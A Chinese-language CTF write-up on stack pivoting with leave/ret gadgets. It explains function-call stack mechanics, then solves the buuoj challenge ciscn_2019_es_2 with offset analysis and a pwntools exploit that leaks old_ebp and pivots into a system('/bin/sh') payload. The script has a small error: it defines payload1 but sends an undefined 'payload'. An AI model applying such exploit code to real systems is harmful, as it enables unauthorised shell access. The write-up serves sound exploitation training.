|
先说结论:
当return address向后溢出的长度无法满足构造的rop链的时候就会用到栈迁移。
栈迁移就是利用两个LEAVE/RETN指令,实现ESP、EBP和EIP的控制。第一个POP EBP指令跳去攻击者想要跳去的地址,第二个LEAVE指令用于将ESP指向攻击者设置好的EBP,这样就完成了栈的迁移。随后的POP EBP并不会对EBP造成影响,只是ESP指向了ESP+4。RETN(即POP EIP)控制EIP指向ESP栈顶位置,就是我们shellcode的地址。随后可以开始执行shellcode了。
首先了解一下函数调用过程中栈的变化,汇编伪代码如下:
- PUSH arga//参数a入栈
- PUSH argb//参数b入栈
- CALL func
- ADD ESP,8h//平衡堆栈
- func:
- PUSH EBP //保存函数调用前的EBP
- MOV EBP,ESP //令EBP指向ESP的地址,即原ESP作为新EBP
- SUB ESP,48h//开辟func函数的栈空间
- xxxxx
- MOV ESP,EBP//令ESP指向EBP的地址,即恢复为函数开辟的栈空间。
- POP EBP
- RETN
复制代码 展开来讲,CALL和RETN指令的本质都是修改EIP。
CALL指令的本质就是将CALL下一条指令压栈(同时ESP的值也要减4),然后将func函数的地址传给EIP。即:
- PUSH EIP+4
- MOV EIP,[func]
复制代码 而RETN指令的本质,是将栈顶指针弹出传给EIP(同时ESP的值也要加4),也就是此时EIP指向[ESP-4]。即:
这样看来,上面的指令就变成了
- PUSH arga
- PUSH argb
- PUSH EBP+4
- MOV EIP,[func]
- ADD ESP,8h
- func:
- PUSH EBP
- MOV EBP,ESP
- SUB ESP,48h
- xxxxx
- MOV ESP,EBP
- POP EBP
- POP EIP
复制代码 函数调用结束刚好是函数调用开始的逆过程,用于恢复堆栈。
知道了这些之后,可以再返回看一下我们开头的结论部分,大概有数之后,就可以继续看栈迁移具体的实现流程了。
设攻击者想要跳转到的地址为shellcoed_addr,另一处LEAVE/RETN的地址为gadget_addr。
1. 利用缓冲区溢出,覆盖原函数的LEAVE和RETN两处分别为[shellcoed_addr+4]和gadget_addr。
2. 函数执行到POP EBP这条指令的时候,EBP被修改成了[shellcoed_addr+4]。此时ESP下移,
3. 继续执行RETN(POP EIP),EIP被修改成了gadget_addr。
4. 执行gadget_addr的内容,即
这时候`MOV ESP,EBP`会将ESP也指向[shellcoed_addr-4]。
`POP EBP`将栈顶指针传给EBP,栈顶指针ESP原本就是[shellcoed_addr-4],所以没有实质影响。执行完后ESP指向[shellcoed_addr]。这时候,`RETN`即`POP EIP`将ESP当前的地址[shellcoed_addr]弹出给EIP。这样就实现了控制EIP。
注:ESP在进行了两个POP指令之后会比EBP地址大,但这并不影响,我们要做的是控制EIP。
以几道题为例。
1. ciscn_2019_es_2 from buuoj
checksec一下
- seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./ciscn
- [*] '/home/PycharmProjectspy2/pwn/ciscn'
- Arch: i386-32-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x8048000)
复制代码 开启了NX保护,是32位程序。
拖进ida中查看一下。
发现了函数列表中有个hack函数,进去发现了system函数。但是没有/bin/sh,需要自己填入。
这是主函数
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- init();
- puts("Welcome, my friend. What's your name?");
- vul();
- return 0;
- }
复制代码
跟进vul函数查看函数里面是什么
可以看到一个长度为0x28的数组,memset对它进行初始化清零。
read函数只能读入0x30个字节,s的首地址距离ebp有0x28个字节。所以只能溢出0x30-0x28=8个字节。而一个地址四个字节,所以只能覆盖old ebp和retn。可以使用栈迁移来解决栈溢出空间不足的问题。
查找一下栈迁移需要的leave_ret指令。
同时没有查找到bin/sh串,这个参数需要我们传入。
我们可以将目标地址设置在s数组的内存区域。既然如此,首先我们需要知道s数组的首地址距离old_ebp的距离。这样就可以定位新的ebp和作为payload传入的/bin/sh的地址。
下面就来确定偏移。
注意到,read函数后是printf函数,printf具有不遇到\0就会一直输出的特点,所以可以利用这一点来泄露old_ebp的地址。
同时在ida中看到,距离vul函数的leave_ret最近的地方有一个nop指令,可以把断点下在这里,方便进行调试和查看堆栈状态。
提示输入,输入两次后查看堆栈。
0xd018-0xcff0=0x38,说明我们输入的参数距离old_ebp的距离是0x38字节。
另外,由于leave指令会pop ebp,将esp地址拉高4个字节,所以需要aaaa打头来平衡,pop掉aaaa后,esp将会指向system的地址,再pop给eip的就是system的地址了。
这样就可以构造payload。
计算得到old_ebp-0x38+0x4×4=old_ebp-0x28,即传入的binsh串的首地址是old_ebp-0x28。
定位system函数:
写出exp:
(注意应使用pwntools中的 send 而非 sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容)
- from pwn import *
- p = remote("node4.buuoj.cn", 26038)
- system_addr = 0x8048400
- gadget_leave_ret_addr = 0x080484b8
- payload1 = 'a'*0x24+'b'*0x4
- p.send(payload)
- p.recvuntil('bbbb')
- old_ebp = u32(p.recv(4))
- payload2 = 'a'*0x4+p32(system_addr)+'b'*0x4+p32(old_ebp-0x28)+"/bin/sh"
- payload2=payload2.ljust(0x28,'\x00')
- payload2 += p32(old_ebp-0x38)+p32(gadget_leave_ret_addr)
- p.sendline(payload2)
- p.interactive()
复制代码
|
|